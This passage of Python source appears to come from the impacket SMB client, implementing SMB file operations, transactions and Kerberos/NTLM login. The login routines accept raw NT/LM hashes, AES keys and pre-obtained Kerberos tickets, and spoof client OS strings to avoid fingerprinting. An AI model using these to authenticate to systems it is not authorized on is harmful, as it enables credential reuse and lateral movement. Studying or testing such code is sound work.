openFileParameters['LastWriten'],\n                openFileParameters['FileSize'],\n                openFileParameters['GrantedAccess'],\n            )\n\n    def open_andx(self, tid, filename, open_mode, desired_access):\n        filename = filename.replace('/', '\\\\')\n        filename = filename.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else filename\n\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        openFile = SMBCommand(SMB.SMB_COM_OPEN_ANDX)\n        openFile['Parameters'] = SMBOpenAndX_Parameters()\n        openFile['Parameters']['DesiredAccess']    = desired_access\n        openFile['Parameters']['OpenMode']         = open_mode\n        openFile['Parameters']['SearchAttributes'] = ATTR_READONLY | ATTR_HIDDEN | ATTR_ARCHIVE\n        openFile['Data']       = SMBOpenAndX_Data(flags=self.__flags2)\n        openFile['Data']['FileName'] = filename\n\n        if self.__flags2 & SMB.FLAGS2_UNICODE:\n            openFile['Data']['Pad'] = 0x0\n\n        smb.addCommand(openFile)\n\n        self.sendSMB(smb)\n\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_OPEN_ANDX):\n            # XXX Here we are ignoring the rest of the response\n            openFileResponse   = SMBCommand(smb['Data'][0])\n            openFileParameters = SMBOpenAndXResponse_Parameters(openFileResponse['Parameters'])\n\n            return (\n                openFileParameters['Fid'],\n                openFileParameters['FileAttributes'],\n                openFileParameters['LastWriten'],\n                openFileParameters['FileSize'],\n                openFileParameters['GrantedAccess'],\n                openFileParameters['FileType'],\n                openFileParameters['IPCState'],\n                openFileParameters['Action'],\n                openFileParameters['ServerFid'],\n            )\n\n    def close(self, tid, fid):\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        closeFile = SMBCommand(SMB.SMB_COM_CLOSE)\n        closeFile['Parameters'] = SMBClose_Parameters()\n        closeFile['Parameters']['FID']    = fid\n        smb.addCommand(closeFile)\n\n        self.sendSMB(smb)\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_CLOSE):\n           return 1\n        return 0\n\n    def send_trans(self, tid, setup, name, param, data, noAnswer = 0):\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION)\n        transCommand['Parameters'] = SMBTransaction_Parameters()\n        transCommand['Data'] = SMBTransaction_Data()\n\n        transCommand['Parameters']['Setup'] = setup\n        transCommand['Parameters']['TotalParameterCount'] = len(param)\n        transCommand['Parameters']['TotalDataCount'] = len(data)\n\n        transCommand['Parameters']['ParameterCount'] = len(param)\n        transCommand['Parameters']['ParameterOffset'] = 32+3+28+len(setup)+len(name)\n\n        transCommand['Parameters']['DataCount'] = len(data)\n        transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param)\n\n        transCommand['Data']['Name'] = name\n        transCommand['Data']['Trans_Parameters'] = param\n        transCommand['Data']['Trans_Data'] = data\n\n        if noAnswer:\n           transCommand['Parameters']['Flags'] = TRANS_NO_RESPONSE\n\n        smb.addCommand(transCommand)\n\n        self.sendSMB(smb)\n\n    def send_trans2(self, tid, setup, name, param, data):\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        command = pack('<H', setup)\n\n        transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION2)\n        transCommand['Parameters'] = SMBTransaction2_Parameters()\n        transCommand['Parameters']['MaxDataCount'] = self._dialects_parameters['MaxBufferSize']\n        transCommand['Data'] = SMBTransaction2_Data()\n\n        transCommand['Parameters']['Setup'] = command\n        transCommand['Parameters']['TotalParameterCount'] = len(param)\n        transCommand['Parameters']['TotalDataCount'] = len(data)\n\n        if len(param) > 0:\n            padLen = (4 - (32+2+28 + len(command)) % 4 ) % 4\n            padBytes = '\\xFF' * padLen\n            transCommand['Data']['Pad1'] = padBytes\n        else:\n            transCommand['Data']['Pad1'] = ''\n            padLen = 0\n\n        transCommand['Parameters']['ParameterCount'] = len(param)\n        transCommand['Parameters']['ParameterOffset'] = 32+2+28+len(command)+len(name) + padLen\n\n        if len(data) > 0:\n            pad2Len = (4 - (32+2+28 + len(command) + padLen + len(param)) % 4) % 4\n            transCommand['Data']['Pad2'] = '\\xFF' * pad2Len\n        else:\n            transCommand['Data']['Pad2'] = ''\n            pad2Len = 0\n\n        transCommand['Parameters']['DataCount'] = len(data)\n        transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len\n\n        transCommand['Data']['Name'] = name\n        transCommand['Data']['Trans_Parameters'] = param\n        transCommand['Data']['Trans_Data'] = data\n        smb.addCommand(transCommand)\n\n        self.sendSMB(smb)\n\n    def query_file_info(self, tid, fid, fileInfoClass = SMB_QUERY_FILE_STANDARD_INFO):\n        self.send_trans2(tid, SMB.TRANS2_QUERY_FILE_INFORMATION, '\\x00', pack('<HH', fid, fileInfoClass), '')\n\n        resp = self.recvSMB()\n        if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):\n            trans2Response = SMBCommand(resp['Data'][0])\n            trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])\n            # Remove Potential Prefix Padding\n            return trans2Response['Data'][-trans2Parameters['TotalDataCount']:]\n    \n    def set_file_info(self, tid, fid, fileInfoClass, file_info_data):\n        SMBTrans2SetFileInfo_Params = SMBSetFileInformation_Parameters()\n        SMBTrans2SetFileInfo_Params[\"FID\"] = fid\n        SMBTrans2SetFileInfo_Params[\"InformationLevel\"] = fileInfoClass\n        SMBTrans2SetFileInfo_Params[\"Reserved\"] = 0\n        \n        self.send_trans2(tid, SMB.TRANS2_SET_FILE_INFORMATION, '\\x00', SMBTrans2SetFileInfo_Params.getData(), file_info_data.getData())\n\n        resp = self.recvSMB()\n        if resp.isValidAnswer(SMB.SMB_COM_TRANSACTION2):\n            trans2Response = SMBCommand(resp['Data'][0])\n            trans2Parameters = SMBTransaction2Response_Parameters(trans2Response['Parameters'])\n            # Remove Potential Prefix Padding\n            return trans2Response['Data'][-trans2Parameters['TotalDataCount']:]\n\n    def __nonraw_retr_file(self, tid, fid, offset, datasize, callback):\n        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_READX) and self._SignatureEnabled is False:\n            max_buf_size = 65000\n        else:\n            max_buf_size = self._dialects_parameters['MaxBufferSize'] & ~0x3ff  # Read in multiple KB blocks\n\n        read_offset = offset\n        while read_offset < datasize:\n            data = self.read_andx(tid, fid, read_offset, max_buf_size)\n\n            callback(data)\n            read_offset += len(data)\n\n    def __nonraw_stor_file(self, tid, fid, offset, datasize, callback):\n        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_WRITEX) and self._SignatureEnabled is False:\n            max_buf_size = 65000\n        else:\n            max_buf_size = self._dialects_parameters['MaxBufferSize'] & ~0x3ff  # Write in multiple KB blocks\n\n        write_offset = offset\n        while 1:\n            data = callback(max_buf_size)\n            if not data:\n                break\n\n            smb = self.write_andx(tid,fid,data, write_offset)\n            writeResponse   = SMBCommand(smb['Data'][0])\n            writeResponseParameters = SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])\n            write_offset += writeResponseParameters['Count']\n\n    def get_server_domain(self):\n        return self.__server_domain\n\n    def get_server_dns_domain_name(self):\n        return self.__server_dns_domain_name\n\n    def get_server_dns_host_name(self):\n        return self.__server_dns_host_name\n\n    def get_server_os(self):\n        return self.__server_os\n\n    def get_server_os_major(self):\n        return self.__server_os_major\n\n    def get_server_os_minor(self):\n        return self.__server_os_minor\n\n    def get_server_os_build(self):\n        return self.__server_os_build\n\n    def set_server_os(self, os):\n        self.__server_os = os\n\n    def get_server_lanman(self):\n        return self.__server_lanman\n\n    def is_login_required(self):\n        # Login is required if share mode is user.\n        # Otherwise only public services or services in share mode\n        # are allowed.\n        return (self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SHARE_MASK) == SMB.SECURITY_SHARE_USER\n\n    def is_signing_required(self):\n        return self._SignatureRequired\n\n    def get_ntlmv1_response(self, key):\n        challenge = self._dialects_data['Challenge']\n        return ntlm.get_ntlmv1_response(key, challenge)\n\n    def perform_hostname_validation(self):\n        if self.__server_name == '':\n            if not self._validation_allow_absent:\n                raise self.HostnameValidationException('Hostname was not supplied by target host and absent validation is disallowed')\n            return\n        if self.__server_name.lower() != self._accepted_hostname.lower() and self.__server_dns_host_name.lower() != self._accepted_hostname.lower():\n            raise self.HostnameValidationException('Supplied hostname %s does not match reported hostnames %s or %s' %\n                (self._accepted_hostname.lower(), self.__server_name.lower(), self.__server_dns_host_name.lower()))\n\n\n    def kerberos_login(self, user, password, domain = '', lmhash = '', nthash = '', aesKey = '', kdcHost = '', TGT=None, TGS=None):\n        # Importing down here so pyasn1 is not required if kerberos is not used.\n        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set\n        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS\n        from impacket.krb5 import constants\n        from impacket.krb5.types import Principal, KerberosTime, Ticket\n        from pyasn1.codec.der import decoder, encoder\n        import datetime\n\n        # login feature does not support unicode\n        # disable it if enabled\n        flags2 = self.__flags2\n        if flags2 & SMB.FLAGS2_UNICODE:\n            self.__flags2 = flags2 & (flags2 ^ SMB.FLAGS2_UNICODE)\n\n        # If TGT or TGS are specified, they are in the form of:\n        # TGS['KDC_REP'] = the response from the server\n        # TGS['cipher'] = the cipher used\n        # TGS['sessionKey'] = the sessionKey\n        # If we have hashes, normalize them\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:\n                lmhash = '0%s' % lmhash\n            if len(nthash) % 2:\n                nthash = '0%s' % nthash\n            try: # just in case they were converted already\n                lmhash = a2b_hex(lmhash)\n                nthash = a2b_hex(nthash)\n            except:\n                pass\n\n        self.__userName = user\n        self.__password = password\n        self.__domain   = domain\n        self.__lmhash   = lmhash\n        self.__nthash   = nthash\n        self.__aesKey   = aesKey\n        self.__kdc      = kdcHost\n        self.__TGT      = TGT\n        self.__TGS      = TGS\n        self._doKerberos= True\n\n        # First of all, we need to get a TGT for the user\n        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)\n        if TGT is None:\n            if TGS is None:\n                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)\n        else:\n            tgt = TGT['KDC_REP']\n            cipher = TGT['cipher']\n            sessionKey = TGT['sessionKey']\n\n        # Now that we have the TGT, we should ask for a TGS for cifs\n\n        if TGS is None:\n            serverName = Principal('cifs/%s' % self.__remote_name, type=constants.PrincipalNameType.NT_SRV_INST.value)\n            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)\n        else:\n            tgs = TGS['KDC_REP']\n            cipher = TGS['cipher']\n            sessionKey = TGS['sessionKey']\n\n        smb = NewSMBPacket()\n\n        # Are we required to sign SMB? If so we do it, if not we skip it\n        if self._SignatureRequired:\n           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\n\n\n        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\n        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()\n        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()\n\n        sessionSetup['Parameters']['MaxBufferSize']        = 61440\n        sessionSetup['Parameters']['MaxMpxCount']          = 2\n        sessionSetup['Parameters']['VcNumber']             = 1\n        sessionSetup['Parameters']['SessionKey']           = 0\n        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX\n\n\n        # Let's build a NegTokenInit with the NTLMSSP\n        # TODO: In the future we should be able to choose different providers\n\n        blob = SPNEGO_NegTokenInit()\n\n        # Kerberos v5 mech\n        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]\n\n        # Let's extract the ticket from the TGS\n        tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]\n        ticket = Ticket()\n        ticket.from_asn1(tgs['ticket'])\n\n        # Now let's build the AP_REQ\n        apReq = AP_REQ()\n        apReq['pvno'] = 5\n        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)\n\n        opts = list()\n        apReq['ap-options'] = constants.encodeFlags(opts)\n        seq_set(apReq,'ticket', ticket.to_asn1)\n\n        authenticator = Authenticator()\n        authenticator['authenticator-vno'] = 5\n        authenticator['crealm'] = domain\n        seq_set(authenticator, 'cname', userName.components_to_asn1)\n        now = datetime.datetime.now(datetime.timezone.utc)\n\n        authenticator['cusec'] = now.microsecond\n        authenticator['ctime'] = KerberosTime.to_asn1(now)\n\n        encodedAuthenticator = encoder.encode(authenticator)\n\n        # Key Usage 11\n        # AP-REQ Authenticator (includes application authenticator\n        # subkey), encrypted with the application session key\n        # (Section 5.5.1)\n        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)\n\n        apReq['authenticator'] = noValue\n        apReq['authenticator']['etype'] = cipher.enctype\n        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator\n\n        blob['MechToken'] = pack('B', ASN1_AID) + asn1encode(pack('B', ASN1_OID) + asn1encode(\n            TypesMech['KRB5 - Kerberos 5']) + KRB5_AP_REQ + encoder.encode(apReq))\n\n        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)\n        sessionSetup['Parameters'].getData()\n        sessionSetup['Data']['SecurityBlob']       = blob.getData()\n\n        # Fake Data here, don't want to get us fingerprinted\n        sessionSetup['Data']['NativeOS']      = 'Unix'\n        sessionSetup['Data']['NativeLanMan']  = 'Samba'\n\n        smb.addCommand(sessionSetup)\n        self.sendSMB(smb)\n\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):\n            # We will need to use this uid field for all future requests/responses\n            self._uid = smb['Uid']\n\n            # Now we have to extract the blob to continue the auth process\n            sessionResponse   = SMBCommand(smb['Data'][0])\n            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])\n            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])\n            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']\n            sessionData.fromString(sessionResponse['Data'])\n\n            self._action = sessionParameters['Action']\n            # If smb sign required, let's enable it for the rest of the connection\n            if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED:\n               self._SigningSessionKey = sessionKey.contents\n               self._SignSequenceNumber = 2\n               self._SignatureEnabled = True\n\n            # restore unicode flag if needed\n            if flags2 & SMB.FLAGS2_UNICODE:\n                self.__flags2 |= SMB.FLAGS2_UNICODE\n\n            return 1\n        else:\n            raise Exception('Error: Could not login successfully')\n\n    def login_extended(self, user, password, domain = '', lmhash = '', nthash = '', use_ntlmv2 = True ):\n\n        # login feature does not support unicode\n        # disable it if enabled\n        flags2 = self.__flags2\n        if flags2 & SMB.FLAGS2_UNICODE:\n            self.__flags2 = flags2 & (flags2 ^ SMB.FLAGS2_UNICODE)\n\n        # Once everything's working we should join login methods into a single one\n        smb = NewSMBPacket()\n        # Are we required to sign SMB? If so we do it, if not we skip it\n        if self._SignatureRequired:\n           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\n\n        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\n        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()\n        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()\n\n        sessionSetup['Parameters']['MaxBufferSize']        = 61440\n        sessionSetup['Parameters']['MaxMpxCount']          = 2\n        sessionSetup['Parameters']['VcNumber']             = 1\n        sessionSetup['Parameters']['SessionKey']           = 0\n        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX\n\n\n        # Let's build a NegTokenInit with the NTLMSSP\n        # TODO: In the future we should be able to choose different providers\n\n        blob = SPNEGO_NegTokenInit()\n\n        # NTLMSSP\n        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]\n        auth = ntlm.getNTLMSSPType1(self.get_client_name(),domain,self._SignatureRequired, use_ntlmv2 = use_ntlmv2)\n        blob['MechToken'] = auth.getData()\n\n        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)\n        sessionSetup['Parameters'].getData()\n        sessionSetup['Data']['SecurityBlob']       = blob.getData()\n\n        # Fake Data here, don't want to get us fingerprinted\n        sessionSetup['Data']['NativeOS']      = 'Unix'\n        sessionSetup['Data']['NativeLanMan']  = 'Samba'\n\n        smb.addCommand(sessionSetup)\n        self.sendSMB(smb)\n\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):\n            # We will need to use this uid field for all future requests/responses\n            self._uid = smb['Uid']\n\n            # Now we have to extract the blob to continue the auth process\n            sessionResponse   = SMBCommand(smb['Data'][0])\n            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])\n            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])\n            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']\n            sessionData.fromString(sessionResponse['Data'])\n            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])\n\n            # Let's parse some data and keep it to ourselves in case it is asked\n            ntlmChallenge = ntlm.NTLMAuthChallenge(respToken['ResponseToken'])\n            if ntlmChallenge['TargetInfoFields_len'] > 0:\n                av_pairs = ntlm.AV_PAIRS(ntlmChallenge['TargetInfoFields'][:ntlmChallenge['TargetInfoFields_len']])\n                if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:\n                   try:\n                       self.__server_name = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')\n                   except UnicodeDecodeError:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n                if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:\n                   try:\n                       if self.__server_name != av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le'):\n                           self.__server_domain = av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME][1].decode('utf-16le')\n                   except UnicodeDecodeError:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n                if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:\n                   try:\n                       self.__server_dns_domain_name = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')\n                   except UnicodeDecodeError:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n\n                if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:\n                   try:\n                       self.__server_dns_host_name = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode('utf-16le')\n                   except UnicodeDecodeError:\n                       # For some reason, we couldn't decode Unicode here.. silently discard the operation\n                       pass\n\n            if self._strict_hostname_validation:\n                self.perform_hostname_validation()\n\n            # Parse Version to know the target Operating system name. Not provided elsewhere anymore\n            if 'Version' in ntlmChallenge.fields:\n                version = ntlmChallenge['Version']\n\n                if len(version) >= 4:\n                   self.__server_os_major, self.__server_os_minor, self.__server_os_build = unpack('<BBH',version[:4])\n\n            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, respToken['ResponseToken'], user, password, domain, lmhash, nthash, use_ntlmv2 = use_ntlmv2)\n\n            if exportedSessionKey is not None:\n                self._SigningSessionKey = exportedSessionKey\n\n            smb = NewSMBPacket()\n\n            # Are we required to sign SMB? If so we do it, if not we skip it\n            if self._SignatureRequired:\n               smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\n\n            respToken2 = SPNEGO_NegTokenResp()\n            respToken2['ResponseToken'] = type3.getData()\n\n            # Reusing the previous structure\n            sessionSetup['Parameters']['SecurityBlobLength'] = len(respToken2)\n            sessionSetup['Data']['SecurityBlob'] = respToken2.getData()\n\n            # Storing some info for later use\n            self.__server_os     = sessionData['NativeOS']\n            self.__server_lanman = sessionData['NativeLanMan']\n\n            smb.addCommand(sessionSetup)\n            self.sendSMB(smb)\n\n            smb = self.recvSMB()\n            self._uid = 0\n            if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):\n                self._uid = smb['Uid']\n                sessionResponse   = SMBCommand(smb['Data'][0])\n                sessionParameters = SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])\n\n                self._action = sessionParameters['Action']\n                # If smb sign required, let's enable it for the rest of the connection\n                if self._dialects_parameters['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED:\n                   self._SignSequenceNumber = 2\n                   self._SignatureEnabled = True\n\n                # restore unicode flag if needed\n                if flags2 & SMB.FLAGS2_UNICODE:\n                    self.__flags2 |= SMB.FLAGS2_UNICODE\n\n                return 1\n        else:\n            raise Exception('Error: Could not login successfully')\n\n    def getCredentials(self):\n        return (\n            self.__userName,\n            self.__password,\n            self.__domain,\n            self.__lmhash,\n            self.__nthash,\n            self.__aesKey,\n            self.__TGT,\n            self.__TGS)\n\n    def getIOCapabilities(self):\n        res = dict()\n        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_READX) and self._SignatureEnabled is False:\n            max_size = 65000\n        else:\n            max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks\n        res['MaxReadSize'] = max_size\n        res['MaxWriteSize'] = max_size\n        return res\n\n    def login(self, user, password, domain = '', lmhash = '', nthash = '', ntlm_fallback = True):\n\n        # If we have hashes, normalize them\n        if lmhash != '' or nthash != '':\n            if len(lmhash) % 2:\n                lmhash = '0%s' % lmhash\n            if len(nthash) % 2:\n                nthash = '0%s' % nthash\n            try: # just in case they were converted already\n                lmhash = a2b_hex(lmhash)\n                nthash = a2b_hex(nthash)\n            except:\n                pass\n\n        self.__userName = user\n        self.__password = password\n        self.__domain   = domain\n        self.__lmhash   = lmhash\n        self.__nthash   = nthash\n        self.__aesKey   = ''\n        self.__TGT      = None\n        self.__TGS      = None\n\n        if self._dialects_parameters['Capabilities'] & SMB.CAP_EXTENDED_SECURITY:\n            try:\n                self.login_extended(user, password, domain, lmhash, nthash, use_ntlmv2 = True)\n            except:\n                # If the target OS is Windows 5.0 or Samba, let's try using NTLMv1\n                if ntlm_fallback and ((six.ensure_binary(self.get_server_lanman()).find(b'Windows 2000') != -1) or\n                                      (six.ensure_binary(self.get_server_lanman()).find(b'Samba') != -1)):\n                    self.login_extended(user, password, domain, lmhash, nthash, use_ntlmv2 = False)\n                    self.__isNTLMv2 = False\n                else:\n                    raise\n        elif ntlm_fallback:\n            self.login_standard(user, password, domain, lmhash, nthash)\n            self.__isNTLMv2 = False\n        else:\n            raise SessionError('Cannot authenticate against target, enable ntlm_fallback')\n\n    def login_standard(self, user, password, domain = '', lmhash = '', nthash = ''):\n\n        # login feature does not support unicode\n        # disable it if enabled\n        flags2 = self.__flags2\n        if flags2 & SMB.FLAGS2_UNICODE:\n            self.__flags2 = flags2 & (flags2 ^ SMB.FLAGS2_UNICODE)\n\n        # Only supports NTLMv1\n        # Password is only encrypted if the server passed us an \"encryption key\" during protocol dialect negotiation\n        if self._dialects_parameters['ChallengeLength'] > 0:\n            if lmhash != '' or nthash != '':\n               pwd_ansi = self.get_ntlmv1_response(lmhash)\n               pwd_unicode = self.get_ntlmv1_response(nthash)\n            elif password:\n               lmhash = ntlm.compute_lmhash(password)\n               nthash = ntlm.compute_nthash(password)\n               pwd_ansi = self.get_ntlmv1_response(lmhash)\n               pwd_unicode = self.get_ntlmv1_response(nthash)\n            else: # NULL SESSION\n               pwd_ansi = ''\n               pwd_unicode = ''\n        else:\n            pwd_ansi = password\n            pwd_unicode = ''\n\n        smb = NewSMBPacket()\n\n        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\n        sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()\n        sessionSetup['Data']       = SMBSessionSetupAndX_Data()\n\n        sessionSetup['Parameters']['MaxBuffer']        = 61440\n        sessionSetup['Parameters']['MaxMpxCount']      = 2\n        sessionSetup['Parameters']['VCNumber']         = os.getpid() & 0xFFFF # Value has to be expressed in 2 bytes\n        sessionSetup['Parameters']['SessionKey']       = self._dialects_parameters['SessionKey']\n        sessionSetup['Parameters']['AnsiPwdLength']    = len(pwd_ansi)\n        sessionSetup['Parameters']['UnicodePwdLength'] = len(pwd_unicode)\n        sessionSetup['Parameters']['Capabilities']     = SMB.CAP_RAW_MODE | SMB.CAP_USE_NT_ERRORS | SMB.CAP_LARGE_READX | SMB.CAP_LARGE_WRITEX\n\n        sessionSetup['Data']['AnsiPwd']       = pwd_ansi\n        sessionSetup['Data']['UnicodePwd']    = pwd_unicode\n        sessionSetup['Data']['Account']       = str(user)\n        sessionSetup['Data']['PrimaryDomain'] = str(domain)\n        sessionSetup['Data']['NativeOS']      = str(os.name)\n        sessionSetup['Data']['NativeLanMan']  = 'pysmb'\n        smb.addCommand(sessionSetup)\n\n        self.sendSMB(smb)\n\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):\n            # We will need to use this uid field for all future requests/responses\n            self._uid = smb['Uid']\n            sessionResponse   = SMBCommand(smb['Data'][0])\n            sessionParameters = SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])\n            sessionData       = SMBSessionSetupAndXResponse_Data(flags = smb['Flags2'], data = sessionResponse['Data'])\n\n            self._action = sessionParameters['Action']\n\n            # Still gotta figure out how to do this with no EXTENDED_SECURITY\n            if sessionParameters['Action'] & SMB_SETUP_USE_LANMAN_KEY == 0:\n                 self._SigningChallengeResponse = sessionSetup['Data']['UnicodePwd']\n                 self._SigningSessionKey = nthash\n            else:\n                 self._SigningChallengeResponse = sessionSetup['Data']['AnsiPwd']\n                 self._SigningSessionKey = lmhash\n\n            #self._SignSequenceNumber = 1\n            #self.checkSignSMB(smb, self._SigningSessionKey ,self._SigningChallengeResponse)\n            #self._SignatureEnabled = True\n            self.__server_os     = sessionData['NativeOS']\n            self.__server_lanman = sessionData['NativeLanMan']\n            self.__server_domain = sessionData['PrimaryDomain']\n\n            # restore unicode flag if needed\n            if flags2 & SMB.FLAGS2_UNICODE:\n                self.__flags2 |= SMB.FLAGS2_UNICODE\n\n            return 1\n        else:\n            raise Exception('Error: Could not login successfully')\n\n    def waitNamedPipe(self, tid, pipe, timeout = 5, noAnswer = 0):\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        transCommand = SMBCommand(SMB.SMB_COM_TRANSACTION)\n        transCommand['Parameters'] = SMBTransaction_Parameters()\n        transCommand['Data'] = SMBTransaction_Data()\n\n        setup = '\\x53\\x00\\x00\\x00'\n        name = '\\\\PIPE%s\\x00' % pipe\n        if self.__flags2 & SMB.FLAGS2_UNICODE:\n            start_of_name = 32+3+28+len(setup)#32 is smb_header,28 is parameter,3 is wordcount and bytecount\n            start_pad = 2-(start_of_name%2)\n            name = start_pad*b'\\x00' + name.encode('utf-16le')\n            end_of_name = start_of_name+len(name) \n            pad_len = 4-(end_of_name%4)\n            name += pad_len*b'\\x00'\n        else:\n            name = name.encode('utf-8')\n        transCommand['Parameters']['Setup'] = setup\n        transCommand['Parameters']['TotalParameterCount'] = 0\n        transCommand['Parameters']['TotalDataCount'] = 0\n        transCommand['Parameters']['MaxParameterCount'] = 0\n        transCommand['Parameters']['MaxDataCount'] = 0\n        transCommand['Parameters']['Timeout'] = timeout * 1000\n\n        transCommand['Parameters']['ParameterCount'] = 0\n        transCommand['Parameters']['ParameterOffset'] = 32+3+28+len(setup)+len(name)\n\n        transCommand['Parameters']['DataCount'] = 0\n        transCommand['Parameters']['DataOffset'] = 0\n\n        transCommand['Data']['Name'] = name\n        transCommand['Data']['Trans_Parameters'] = ''\n        transCommand['Data']['Trans_Data'] = ''\n\n        if noAnswer:\n           transCommand['Parameters']['Flags'] = TRANS_NO_RESPONSE\n\n        smb.addCommand(transCommand)\n        self.sendSMB(smb)\n\n        smb = self.recvSMB()\n        if smb.isValidAnswer(SMB.SMB_COM_TRANSACTION):\n           return 1\n        return 0\n\n    def read(self, tid, fid, offset=0, max_size = None, wait_answer=1):\n        if not max_size:\n            max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks\n\n        # max_size is not working, because although it would, the server returns an error (More data avail)\n\n        smb = NewSMBPacket()\n        smb['Tid']    = tid\n\n        read = SMBCommand(SMB.SMB_COM_READ)\n        read['Parameters'] = SMBRead_Parameters()\n        read['Parameters']['Fid'] = fid\n        read['Parameters']['Offset'] = offset\n        read['Parameters']['Count'] = max_size\n        smb.addCommand(read)\n\n        if wait_answer:\n            while 1:\n                self.sendSMB(smb)\n                ans = self.recvSMB()\n\n                if ans.isValidAnswer(SMB.SMB_COM_READ):\n                    readResponse   = SMBCommand(ans['Data'][0])\n                    readData       = SMBReadResponse_Data(readResponse['Data'])\n\n                    return readData['Data']\n\n        return None\n\n    def read_andx(self, tid, fid, offset=0, max_size = None, wait_answer=1, smb_packet=None):\n        if not max_size:\n            if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_READX) and self._SignatureEnabled is False:\n                max_size = 65000\n            else:\n                max_size = self._dialects_parameters['MaxBufferSize'] # Read in multiple KB blocks\n\n        # max_size is not working, because although it would, the server returns an error (More data avail)\n\n        if smb_packet is None:\n            smb = NewSMBPacket()\n            smb['Tid']    = tid\n\n            